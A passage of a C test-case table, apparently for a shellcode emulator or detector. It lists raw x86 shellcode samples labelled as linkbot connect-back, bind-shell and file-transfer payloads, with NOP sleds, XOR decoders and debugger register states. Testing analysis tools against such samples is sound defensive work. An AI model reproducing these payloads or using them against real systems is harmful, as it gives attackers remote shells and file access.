b\\x2f\\x49\\xff\\xd6\\x6a\\x06\\x6a\\x01\\x6a\\x02\\xff\\xd0\\x89\\x45\"\n\t\t\"\\x08\\x33\\xc0\\x50\\x50\\x50\\xb8\\x02\\xff\\xab\\xfc\\x80\\xf4\\xff\\x50\\x8b\"\n\t\t\"\\xc4\\x6a\\x10\\x50\\xff\\x75\\x08\\x53\\x68\\xa4\\x1a\\x70\\xc7\\xff\\xd6\\xff\"\n\t\t\"\\xd0\\x58\\x53\\x68\\xa4\\xad\\x2e\\xe9\\xff\\xd6\\x6a\\x10\\xff\\x75\\x08\\xff\"\n\t\t\"\\xd0\\x33\\xc0\\x50\\x50\\xff\\x75\\x08\\x53\\x68\\xe5\\x49\\x86\\x49\\xff\\xd6\"\n\t\t\"\\xff\\xd0\\x8b\\x4d\\x08\\x89\\x45\\x08\\x51\\xff\\x55\\x18\\x81\\xc4\\xfc\\xfe\"\n\t\t\"\\xff\\xff\\x8b\\xdc\\x33\\xc9\\x51\\xb1\\xff\\x51\\x53\\xff\\x75\\x08\\xff\\x55\"\n\t\t\"\\x10\\x85\\xc0\\x7e\\x0a\\x50\\x53\\xff\\x75\\x04\\xff\\x55\\x0c\\xeb\\xe5\\xff\"\n\t\t\"\\x75\\x08\\xff\\x55\\x18\\x57\\x68\\x5b\\x4c\\x1a\\xdd\\xff\\xd6\\xff\\x75\\x04\"\n\t\t\"\\xff\\xd0\\x33\\xc0\\x50\\xff\\x75\\x14\\x57\\x68\\x98\\xfe\\x8a\\x0e\\xff\\xd6\"\n\t\t\"\\xff\\xd0\\x57\\x68\\xef\\xce\\xe0\\x60\\xff\\xd6\\xff\\xd0\\x65\\x65\\x65\\x65\",\n\t\t.codesize = 416,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"lindau - linkbot connectback version\",\n\t\t.code =  \n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xeb\\x15\\xb9\\x8b\\xe6\\x13\\x41\\x81\"\n\t\t\"\\xf1\\x39\\xe6\\x13\\x41\\x5e\\x80\\x74\\x31\\xff\\x17\\xe2\\xf9\\xeb\\x05\\xe8\"\n\t\t\"\\xe6\\xff\\xff\\xff\\x24\\xcc\\x73\\x9c\\x54\\x27\\x9c\\x57\\x1b\\x9c\\x67\\x0b\"\n\t\t\"\\xba\\x9c\\x6f\\x1f\\xff\\x52\\x17\\x17\\x17\\x44\\x41\\x9c\\x48\\x2b\\x9c\\x4b\"\n\t\t\"\\x2c\\x6f\\x14\\xc8\\x44\\x9c\\x4c\\x37\\x14\\xc8\\x44\\x94\\xd4\\x13\\x9c\\x24\"\n\t\t\"\\x14\\xe0\\x24\\xde\\xbb\\x25\\xdf\\xd6\\xd6\\x12\\x93\\xd7\\x62\\xe1\\x3c\\xdd\"\n\t\t\"\\x62\\xfe\\x4f\\x3c\\xcf\\xc6\\xfc\\x49\\x14\\x49\\x33\\x14\\xc8\\x71\\x9c\\x1c\"\n\t\t\"\\x9c\\x49\\x0b\\x14\\xc8\\x9c\\x13\\x9c\\x14\\xd0\\x49\\x4c\\xe8\\xf7\\x49\\x7f\"\n\t\t\"\\x24\\x25\\x17\\x17\\x7f\\x60\\x64\\x25\\x48\\x43\\xad\\x85\\x79\\x13\\x93\\xe8\"\n\t\t\"\\xc1\\x9c\\xef\\x96\\xfb\\x17\\x15\\x17\\x17\\x9c\\xfb\\x44\\x7d\\x16\\x7d\\x15\"\n\t\t\"\\xad\\x94\\x44\\x94\\x17\\xe8\\xc1\\x44\\x44\\x7f\\x29\\x38\\xce\\xe9\\x7f\\x15\"\n\t\t\"\\x17\\x2b\\x0e\\x9c\\xc3\\x9c\\xcf\\x7d\\x07\\x45\\x44\\xad\\x74\\x27\\x77\\x4d\"\n\t\t\"\\xe8\\xc1\\x47\\xa3\\x15\\x47\\x42\\x44\\xad\\x17\\x4f\\x77\\xf5\\xe8\\xc1\\xa8\"\n\t\t\"\\xbb\\xbb\\x11\\x92\\xe8\\xf2\\x6c\\x79\\x73\\x65\\x7a\\x6c\\x64\\x6c\\x6a\\x64\"\n\t\t\"\\x71\\x66\\x70\\x6c\\x62\\x65\\x7a\\x71\\x79\\x71\\x76\\x76\\x79\\x6a\\x71\\x77\"\n\t\t\"\\x65\\x63\\x7a\\x75\\x6f\\x64\\x62\\x67\\x69\\x69\\x68\\x78\\x65\\x71\\x7a\\x6b\"\n\t\t\"\\x75\\x6f\\x75\\x67\\x76\\x72\\x66\\x67\\x6b\\x75\\x6f\\x6d\\x6c\\x79\\x79\\x67\"\n\t\t\"\\x77\\x78\\x6f\\x6d\\x61\\x6c\\x72\\x6c\\x73\\x70\\x6a\\x63\\x64\\x73\\x6c\\x6c\"\n\t\t\"\\x73\\x69\\x67\\x67\\x6b\\x66\\x73\\x71\\x6c\\x62\\x6a\\x6c\\x71\\x63\\x76\\x73\"\n\t\t\"\\x6e\\x78\\x6f\\x71\\x72\\x78\\x6f\\x76\\x63\\x73\\x75\\x70\\x70\\x6e\\x62\\x61\"\n\t\t\"\\x76\\x72\\x70\\x66\\x63\\x61\\x6a\\x66\\x67\\x76\\x68\\x76\\x71\\x7a\\x63\\x62\"\n\t\t\"\\x7a\\x63\\x66\\x65\\x78\\x6f\\x6e\\x68\\x68\\x61\\x70\\x66\\x6a\\x78\\x67\\x72\"\n\t\t\"\\x6d\\x68\\x70\\x6d\\x75\\x6c\\x75\\x62\\x6d\\x71\\x7a\\x72\\x6d\\x76\\x63\\x76\"\n\t\t\"\\x73\\x70\\x6a\\x79\\x68\\x61\\x62\\x63\\x76\\x76\\x71\\x68\\x78\\x63\\x6b\\x6f\"\n\t\t\"\\x7a\\x6a\\x78\\x68\\x70\\x6f\\x76\\x63\\x66\\x74\\x61\\x74\\x71\\x61\\x66\\x62\"\n\t\t\"\\x74\\x68\\x67\\x75\\x61\\x74\\x72\\x75\\x6a\\x68\\x75\\x63\\x69\\x72\\x62\\x6b\"\n\t\t\"\\x6a\\x67\\x64\\x70\\x6c\\x78\\x67\\x61\\x71\\x66\\x7a\\x67\\x67\\x71\\x63\\x6a\"\n\t\t\"\\x62\\x69\\x79\\x6a\\x71\\x76\\x77\\x66\\x67\\x7a\\x74\\x69\\x72\\x77\\x6f\\x63\"\n\t\t\"\\x79\\x7a\\x8b\\x45\\x30\\x05\\x24\\xfb\\xff\\xff\\xff\\xe0\\xeb\\xf4\\x70\\x75\"\n\t\t\"\\x0b\\x0b\\x1b\\x00\\x6b\\x6a\\x69\\x68\\x74\\x70\\x6f\\x66\\x68\\x6c\\x65\\x65\"\n\t\t\"\\x77\\x72\\x61\\x79\\x78\\x6b\\x61\\x76\\x78\\x77\\x64\\x71\\x61\\x71\\x7a\\x76\"\n\t\t\"\\x77\\x67\\x62\\x77\\x65\\x67\\x6f\\x66\\x74\\x74\\x73\\x6d\\x77\\x6f\\x75\\x6e\"\n\t\t\"\\x62\\x6d\\x6f\\x64\\x73\\x6d\\x78\\x6c\\xeb\\x06\\x6d\\x64\\x59\\x1c\\x00\\x01\"\n\t\t\"\\x8b\\x44\\x24\\xfc\\x05\\xe0\\xfa\\xff\\xff\\xff\\xe0\\x6d\\x75\\x6a\\x64\\x6b\"\n\t\t\"\\x75\\x63\\x69\\x77\\x65\\x63\\x74\\x61\\x75\\x64\\x70\\x73\\x66\\x68\\x67\\x69\"\n\t\t\"\\x62\\x67\\x63\\x75\\x72\\x66\\x6a\\x6a\\x6e\\x6e\\x78\\x72\\x78\\x66\\x5c\\x00\"\n\t\t\"\\x41\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x68\\x1c\\x09\\x00\\x01\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x46\",\n\t\t.codesize = 624,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"bremen - linkbot bind version\",\n\t\t.code =  \n\t\t\"\\x90\\x90\\x90\\x90\\xeb\\x04\\xff\\xff\\xff\\xff\\x90\\x90\\x90\\x90\\x90\\x90\" \n\t\t\"\\x90\\x90\\xeb\\x04\\xeb\\x04\\x90\\x90\\x90\\x90\\xeb\\x04\\xff\\xff\\xff\\xff\" \n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \n\t\t\"\\x90\\x90\\x90\\x90\\xeb\\x15\\xb9\\x8b\\xe6\\x13\\x41\\x81\\xf1\\x4d\\xe6\\x13\" \n\t\t\"\\x41\\x5e\\x80\\x74\\x31\\xff\\x42\\xe2\\xf9\\xeb\\x05\\xe8\\xe6\\xff\\xff\\xff\" \n\t\t\"\\x71\\x99\\x26\\xc9\\x01\\x72\\xc9\\x02\\x4e\\xc9\\x32\\x5e\\xef\\xc9\\x3a\\x4a\" \n\t\t\"\\xaa\\x07\\x42\\x42\\x42\\x11\\x14\\xc9\\x1d\\x7e\\xc9\\x1e\\x79\\x3a\\x41\\x9d\" \n\t\t\"\\x11\\xc9\\x19\\x62\\x41\\x9d\\x11\\xc1\\x81\\x46\\xc9\\x71\\x41\\xb5\\x71\\x8b\" \n\t\t\"\\xee\\x70\\x8a\\x83\\x83\\x47\\xc6\\x82\\x37\\xb4\\x69\\x88\\x37\\xab\\x1a\\x69\" \n\t\t\"\\x9a\\x93\\xa9\\x1c\\x41\\x1c\\x66\\x41\\x9d\\x24\\xc9\\x49\\xc9\\x1c\\x5e\\x41\" \n\t\t\"\\x9d\\xc9\\x46\\xc9\\x41\\x85\\x1c\\x19\\xbd\\xa2\\x1c\\x2a\\x71\\x70\\x42\\x42\" \n\t\t\"\\x2a\\x35\\x31\\x70\\x1d\\x16\\xf8\\xd0\\x2c\\x46\\xc6\\xbd\\x94\\xc9\\xba\\xc3\" \n\t\t\"\\xae\\x42\\x40\\x42\\x42\\xc9\\xae\\x11\\x28\\x43\\x28\\x40\\xf8\\xc1\\x11\\xc1\" \n\t\t\"\\x42\\xbd\\x94\\x11\\x11\\x11\\x2a\\x40\\x42\\xe2\\xe1\\xc9\\x96\\xc9\\x9a\\x28\" \n\t\t\"\\x52\\x10\\x11\\xf8\\x42\\xd2\\xe4\\x80\\xbd\\x94\\x02\\x12\\x11\\xf8\\x38\\x79\" \n\t\t\"\\x31\\xe3\\xbd\\x94\\x12\\x12\\x11\\xf8\\x52\\x91\\x2b\\x42\\xbd\\x94\\xc9\\x9a\" \n\t\t\"\\x71\\x82\\x12\\xf6\\x40\\x12\\x17\\x11\\xf8\\x42\\x1a\\x22\\xa0\\xbd\\x94\\xfd\" \n\t\t\"\\x97\\xa2\\x84\\x30\\xbd\\xa7\\x6b\\x63\\x71\\x6b\\x62\\x6e\\x66\\x66\\x69\\x64\" \n\t\t\"\\x6d\\x72\\x64\\x76\\x77\\x70\\x6c\\x72\\x62\\x61\\x67\\x6c\\x66\\x63\\x62\\x65\" \n\t\t\"\\x76\\x63\\x77\\x7a\\x7a\\x64\\x77\\x72\\x6e\\x61\\x78\\x71\\x6c\\x64\\x70\\x73\" \n\t\t\"\\x6f\\x62\\x64\\x71\\x64\\x77\\x79\\x71\\x79\\x69\\x63\\x69\\x72\\x69\\x6b\\x69\" \n\t\t\"\\x75\\x66\\x64\\x69\\x73\\x73\\x62\\x72\\x6e\\x6c\\x72\\x69\\x6b\\x72\\x6e\\x69\" \n\t\t\"\\x61\\x6d\\x68\\x79\\x71\\x68\\x70\\x68\\x65\\x63\\x62\\x7a\\x74\\x78\\x72\\x75\" \n\t\t\"\\x6c\\x74\\x75\\x6d\\x79\\x62\\x6b\\x67\\x6c\\x70\\x61\\x6a\\x6b\\x73\\x75\\x71\" \n\t\t\"\\x61\\x6b\\x68\\x6a\\x65\\x72\\x67\\x61\\x6d\\x72\\x6c\\x76\\x70\\x75\\x79\\x6a\" \n\t\t\"\\x66\\x69\\x6f\\x68\\x7a\\x72\\x75\\x79\\x72\\x6b\\x70\\x6e\\x61\\x6f\\x70\\x78\" \n\t\t\"\\x7a\\x76\\x73\\x66\\x61\\x62\\x6e\\x6d\\x74\\x6f\\x63\\x68\\x68\\x6a\\x69\\x63\" \n\t\t\"\\x79\\x64\\x67\\x62\\x7a\\x67\\x66\\x72\\x66\\x6f\\x73\\x7a\\x6d\\x73\\x72\\x74\" \n\t\t\"\\x6d\\x66\\x6e\\x6a\\x6f\\x76\\x6a\\x6a\\x76\\x66\\x78\\x6d\\x78\\x64\\x76\\x67\" \n\t\t\"\\x73\\x73\\x6c\\x64\\x72\\x66\\x6f\\x63\\x6b\\x68\\x7a\\x6f\\x77\\x6f\\x71\\x79\" \n\t\t\"\\x62\\x69\\x6d\\x77\\x70\\x73\\x7a\\x6c\\x65\\x72\\x6c\\x73\\x61\\x6d\\x68\\x76\" \n\t\t\"\\x6e\\x75\\x65\\x67\\x76\\x71\\x75\\x77\\x71\\x78\\x6c\\x6b\\x64\\x6b\\x62\\x75\" \n\t\t\"\\x6d\\x65\\x8b\\x45\\x30\\x05\\x24\\xfb\\xff\\xff\\xff\\xe0\\xeb\\xf4\\x77\\x75\" \n\t\t\"\\x0b\\x0b\\x1b\\x00\\x77\\x68\\x72\\x6e\\x70\\x76\\x6c\\x63\\x61\\x74\\x78\\x6f\" \n\t\t\"\\x6a\\x6d\\x6b\\x76\\x6c\\x6b\\x6a\\x7a\\x63\\x66\\x63\\x76\\x64\\x68\\x75\\x76\" \n\t\t\"\\x79\\x73\\x78\\x6b\\x6e\\x71\\x6f\\x7a\\x68\\x71\\x62\\x68\\x6a\\x74\\x6b\\x6e\" \n\t\t\"\\x70\\x6e\\x78\\x74\\x6c\\x77\\x6b\\x75\\xeb\\x06\\x61\\x69\\x59\\x1c\\x00\\x01\" \n\t\t\"\\x8b\\x44\\x24\\xfc\\x05\\xe0\\xfa\\xff\\xff\\xff\\xe0\\x62\\x6c\\x77\\x66\\x6e\" \n\t\t\"\\x67\\x6b\\x6b\\x62\\x61\\x6c\\x6e\\x69\\x69\\x73\\x64\\x73\\x6d\\x73\\x61\\x6b\" \n\t\t\"\\x64\\x66\\x61\\x7a\\x6c\\x71\\x74\\x70\\x61\\x61\\x74\\x66\\x69\\x78\\x5c\\x00\" \n\t\t\"\\x41\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\" \n\t\t\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x68\\x1c\\x09\\x00\\x01\\x00\\x00\\x00\" \n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x46\" \n\t\t\"\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\", \n\t\t.codesize = 720,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"halle - filetransferr via csend\",\n\t\t.code =  \n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xeb\\x02\"\t // 0x0440  ........  ........\"\n\t\t\"\\xeb\\x05\\xe8\\xf9\\xff\\xff\\xff\\x5b\\x31\\xc9\\x66\\xb9\\x86\\x06\\x80\\x73\"\t // 0x0450  .......[  1.f....s\"\n\t\t\"\\x0e\\xd4\\x43\\xe2\\xf9\\x3d\\x8b\\xd5\\xd4\\xd4\\x8f\\x82\\x83\\x84\\x3c\\x67\"\t // 0x0460  ..C..=..  ......<g\"\n\t\t\"\\xd7\\xd4\\xd4\\x59\\x67\\x4b\\xd4\\xd4\\xd4\\x59\\x6f\\x7c\\xd4\\xd4\\xd4\\x13\"\t // 0x0470  ...YgK..  .Yo|....\"\n\t\t\"\\x57\\x73\\xd5\\xd4\\xd4\\xdb\\xd4\\xd4\\xd4\\x3c\\xd3\\xd7\\xd4\\xd4\\x5d\\x57\"\t // 0x0480  Ws......  .<....]W\"\n\t\t\"\\x20\\xd4\\xd4\\xd4\\x59\\x6f\\x63\\xd4\\xd4\\xd4\\x13\\x57\\x73\\xd5\\xd4\\xd4\"\t // 0x0490   ...Yoc.  ...Ws...\"\n\t\t\"\\xd9\\xd4\\xd4\\xd4\\x3c\\x38\\xd6\\xd4\\xd4\\x5d\\x57\\x24\\xd4\\xd4\\xd4\\x59\"\t // 0x04a0  ....<8..  .]W$...Y\"\n\t\t\"\\x6f\\x10\\xd4\\xd4\\xd4\\x3c\\x17\\xd6\\xd4\\xd4\\x5d\\x57\\x30\\xd4\\xd4\\xd4\"\t // 0x04b0  o....<..  ..]W0...\"\n\t\t\"\\x59\\x6f\\x1e\\xd4\\xd4\\xd4\\x3c\\x66\\xd6\\xd4\\xd4\\x5d\\x57\\x3c\\xd4\\xd4\"\t // 0x04c0  Yo....<f  ...]W<..\"\n\t\t\"\\xd4\\x59\\x6f\\x01\\xd4\\xd4\\xd4\\x3c\\x75\\xd6\\xd4\\xd4\\x5d\\x57\\x38\\xd4\"\t // 0x04d0  .Yo....<  u...]W8.\"\n\t\t\"\\xd4\\xd4\\x59\\x67\\xde\\xd4\\xd4\\xd4\\x59\\x6f\\xc5\\xd4\\xd4\\xd4\\x3c\\x5e\"\t // 0x04e0  ..Yg....  Yo....<^\"\n\t\t\"\\xd6\\xd4\\xd4\\x5d\\x57\\x95\\xd4\\xd4\\xd4\\x59\\x6f\\xc8\\xd4\\xd4\\xd4\\x3c\"\t // 0x04f0  ...]W...  .Yo....<\"\n\t\t\"\\xad\\xd6\\xd4\\xd4\\x5d\\x57\\x91\\xd4\\xd4\\xd4\\x59\\x6f\\xf7\\xd4\\xd4\\xd4\"\t // 0x0500  ....]W..  ..Yo....\"\n\t\t\"\\x3c\\xbc\\xd6\\xd4\\xd4\\x5d\\x57\\x9d\\xd4\\xd4\\xd4\\x59\\x6f\\xff\\xd4\\xd4\"\t // 0x0510  <....]W.  ...Yo...\"\n\t\t\"\\xd4\\x3c\\x83\\xd6\\xd4\\xd4\\x5d\\x57\\x99\\xd4\\xd4\\xd4\\x59\\x6f\\xe4\\xd4\"\t // 0x0520  .<....]W  ....Yo..\"\n\t\t\"\\xd4\\xd4\\x3c\\x92\\xd6\\xd4\\xd4\\x5d\\x57\\x85\\xd4\\xd4\\xd4\\x59\\x6f\\xe1\"\t // 0x0530  ..<....]  W....Yo.\"\n\t\t\"\\xd4\\xd4\\xd4\\x3c\\xe1\\xd6\\xd4\\xd4\\x5d\\x57\\x81\\xd4\\xd4\\xd4\\x59\\x67\"\t // 0x0540  ...<....  ]W....Yg\"\n\t\t\"\\x8d\\xd4\\xd4\\xd4\\x59\\x6f\\xb4\\xd4\\xd4\\xd4\\x3c\\xca\\xd6\\xd4\\xd4\\x5d\"\t // 0x0550  ....Yo..  ..<....]\"\n\t\t\"\\x57\\x53\\xd4\\xd4\\xd4\\x59\\x6f\\xb2\\xd4\\xd4\\xd4\\x3c\\xd9\\xd6\\xd4\\xd4\"\t // 0x0560  WS...Yo.  ...<....\"\n\t\t\"\\x5d\\x57\\x5f\\xd4\\xd4\\xd4\\x59\\x6f\\xb9\\xd4\\xd4\\xd4\\x3c\\x28\\xd5\\xd4\"\t // 0x0570  ]W_...Yo  ....<(..\"\n\t\t\"\\xd4\\x5d\\x57\\x5b\\xd4\\xd4\\xd4\\x59\\x6f\\xa0\\xd4\\xd4\\xd4\\x3c\\x3f\\xd5\"\t // 0x0580  .]W[...Y  o....<?.\"\n\t\t\"\\xd4\\xd4\\x5d\\x57\\x47\\xd4\\xd4\\xd4\\x59\\x6f\\xaf\\xd4\\xd4\\xd4\\x3c\\x0e\"\t // 0x0590  ..]WG...  Yo....<.\"\n\t\t\"\\xd5\\xd4\\xd4\\x5d\\x57\\x43\\xd4\\xd4\\xd4\\x59\\x6f\\x56\\xd4\\xd4\\xd4\\x3c\"\t // 0x05a0  ...]WC..  .YoV...<\"\n\t\t\"\\x1d\\xd5\\xd4\\xd4\\x5d\\x57\\x4f\\xd4\\xd4\\xd4\\x87\\x3c\\x3f\\xd6\\xd4\\xd4\"\t // 0x05b0  ....]WO.  ...<?...\"\n\t\t\"\\x8f\\x8c\\x8b\\x8a\\x3c\\xc4\\xd1\\xd4\\xd4\\x3c\\x48\\x2a\\x2b\\x2b\\xd4\\xd4\"\t // 0x05c0  ....<...  .<H*++..\"\n\t\t\"\\xd4\\xd4\\x92\\x30\\xf0\\xa2\\xfa\\xc9\\xa3\\xa7\\xe6\\x8b\\xe7\\xe6\\xd4\\x83\"\t // 0x05d0  ...0....  ........\"\n\t\t\"\\x87\\x95\\x87\\xa0\\xb5\\xa6\\xa0\\xa1\\xa4\\xd4\\xa7\\xbb\\xb7\\xbf\\xb1\\xa0\"\t // 0x05e0  ........  ........\"\n\t\t\"\\xd4\\xb7\\xbb\\xba\\xba\\xb1\\xb7\\xa0\\xd4\\xa6\\xb1\\xb7\\xa2\\xd4\\xa7\\xb1\"\t // 0x05f0  ........  ........\"\n\t\t\"\\xba\\xb0\\xd4\\xb7\\xb8\\xbb\\xa7\\xb1\\xa7\\xbb\\xb7\\xbf\\xb1\\xa0\\xd4\\xd4\"\t // 0x0600  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0610  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xb9\\xa7\\xa2\\xb7\\xa6\\xa0\\xd4\\xb2\\xbb\"\t // 0x0620  ........  ........\"\n\t\t\"\\xa4\\xb1\\xba\\xd4\\xb2\\xb7\\xb8\\xbb\\xa7\\xb1\\xd4\\xb2\\xa3\\xa6\\xbd\\xa0\"\t // 0x0630  ........  ........\"\n\t\t\"\\xb1\\xd4\\xb9\\xb1\\xb9\\xa7\\xb1\\xa0\\xd4\\xb9\\xb5\\xb8\\xb8\\xbb\\xb7\\xd4\"\t // 0x0640  ........  ........\"\n\t\t\"\\xb2\\xa6\\xb1\\xb1\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0650  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xbf\\xb1\\xa6\"\t // 0x0660  ........  ........\"\n\t\t\"\\xba\\xb1\\xb8\\xe7\\xe6\\xd4\\x93\\xb1\\xa0\\x84\\xa6\\xbb\\xb7\\x95\\xb0\\xb0\"\t // 0x0670  ........  ........\"\n\t\t\"\\xa6\\xb1\\xa7\\xa7\\xd4\\x98\\xbb\\xb5\\xb0\\x98\\xbd\\xb6\\xa6\\xb5\\xa6\\xad\"\t // 0x0680  ........  ........\"\n\t\t\"\\x95\\xd4\\x87\\xb8\\xb1\\xb1\\xa4\\xd4\\x91\\xac\\xbd\\xa0\\x80\\xbc\\xa6\\xb1\"\t // 0x0690  ........  ........\"\n\t\t\"\\xb5\\xb0\\xd4\\x97\\xa6\\xb1\\xb5\\xa0\\xb1\\x84\\xa6\\xbb\\xb7\\xb1\\xa7\\xa7\"\t // 0x06a0  ........  ........\"\n\t\t\"\\x95\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x06b0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x06c0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x06d0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\x90\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x06e0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x06f0  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0700  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0710  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0720  ........  ........\"\n\t\t\"\\xd4\\xd4\\xa3\\xff\\xb6\\xd4\\xd4\\xd4\\xd4\\xd4\\xa3\\xbd\\xba\\xbc\\xb8\\xa4\"\t // 0x0730  ........  ........\"\n\t\t\"\\xa4\\xe7\\xe6\\xfa\\xb1\\xac\\xb1\\xd4\\xbb\\xa4\\xb1\\xba\\xd4\\xc2\\xd4\\xd4\"\t // 0x0740  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0750  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\"\t // 0x0760  ........  ........\"\n\t\t\"\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\xd4\\x85\\x83\\x82\"\t // 0x0770  ........  ........\"\n\t\t\"\\x82\\x2b\\x47\\x24\\xd4\\xd4\\xd4\\x84\\x8d\\x83\\x85\\x2b\\x47\\x20\\xd4\\xd4\"\t // 0x0780  .+G$....  ...+G ..\"\n\t\t\"\\xd4\\x8a\\x8b\\x8d\\x17\\xe5\\x14\\x5d\\x57\\x77\\xd5\\xd4\\xd4\\x5f\\x47\\x77\"\t // 0x0790  .......]  Ww..._Gw\"\n\t\t\"\\xd5\\xd4\\xd4\\xef\\x47\\x47\\xd5\\xd4\\xd4\\xa9\\xb7\\x96\\x5d\\x47\\x77\\xd5\"\t // 0x07a0  ....GG..  ....]Gw.\"\n\t\t\"\\xd4\\xd4\\xe5\\x14\\x5f\\x57\\x77\\xd5\\xd4\\xd4\\x15\\x34\\xd6\\x5f\\x5f\\x4f\"\t // 0x07b0  ...._Ww.  ...4.__O\"\n\t\t\"\\xd5\\xd4\\xd4\\xd5\\x15\\x5f\\xd5\\xd7\\x57\\x5b\\xd5\\xd4\\xd4\\x83\\x82\\x85\"\t // 0x07c0  ....._..  W[......\"\n\t\t\"\\x5d\\x2a\\x5d\\x13\\x5f\\x5f\\x73\\xd5\\xd4\\xd4\\x27\\x72\\x8d\\x8a\\x8b\\xa1\"\t // 0x07d0  ]*].__s.  ..'r....\"\n\t\t\"\\x68\\xe5\\x14\\x5f\\x57\\x77\\xd5\\xd4\\xd4\\x05\\x34\\x5f\\x5f\\x4b\\xd5\\xd4\"\t // 0x07e0  h.._Ww..  ..4__K..\"\n\t\t\"\\xd4\\xd5\\x15\\xe5\\x14\\xb2\\x5f\\xd5\\x15\\x34\\xd6\\x5f\\x5f\\x43\\xd5\\xd4\"\t // 0x07f0  ......_.  .4.__C..\"\n\t\t\"\\xd4\\xd5\\x1c\\x5f\\xdc\\xd7\\x5f\\x5b\\xd5\\xd4\\xd4\\x5d\\x1c\\x17\\xe5\\x14\"\t // 0x0800  ..._.._[  ...]....\"\n\t\t\"\\x17\\x3d\\x1c\\xd6\\xd4\\xd4\\xea\\x5f\\x94\\xe0\\xea\\x5f\\x7c\\x6c\\xd4\\xd4\"\t // 0x0810  .=....._  ..._|l..\"\n\t\t\"\\xd4\\x3d\\xda\\xd4\\xd4\\xd4\\x84\\x85\\x82\\x81\\xb0\\x75\\xe4\\xd4\\xd4\\xd4\"\t // 0x0820  .=......  ...u....\"\n\t\t\"\\x51\\x14\\xac\\x36\\xea\\x5f\\x94\\xd8\\xea\\x5f\\xa4\\xc8\\x79\\xea\\x5f\\xbc\"\t // 0x0830  Q..6._..  ._..y._.\"\n\t\t\"\\xdc\\x5d\\x7f\\x5b\\xd5\\xd4\\xd4\\x5d\\x3c\\xb2\\x55\\xec\\x99\\x8e\\xa1\\x15\"\t // 0x0840  .].[...]  <.U.....\"\n\t\t\"\\xd1\\xe8\\xd4\\xd4\\xd4\\x5f\\xdc\\xd7\\x5f\\x5b\\xd5\\xd4\\xd4\\xb2\\x55\\xed\"\t // 0x0850  ....._..  _[....U.\"\n\t\t\"\\x84\\x91\\xa1\\x79\\x55\\x15\\xac\\xd4\\xd4\\xd4\\x5f\\xe5\\xd7\\x67\\x5b\\xd5\"\t // 0x0860  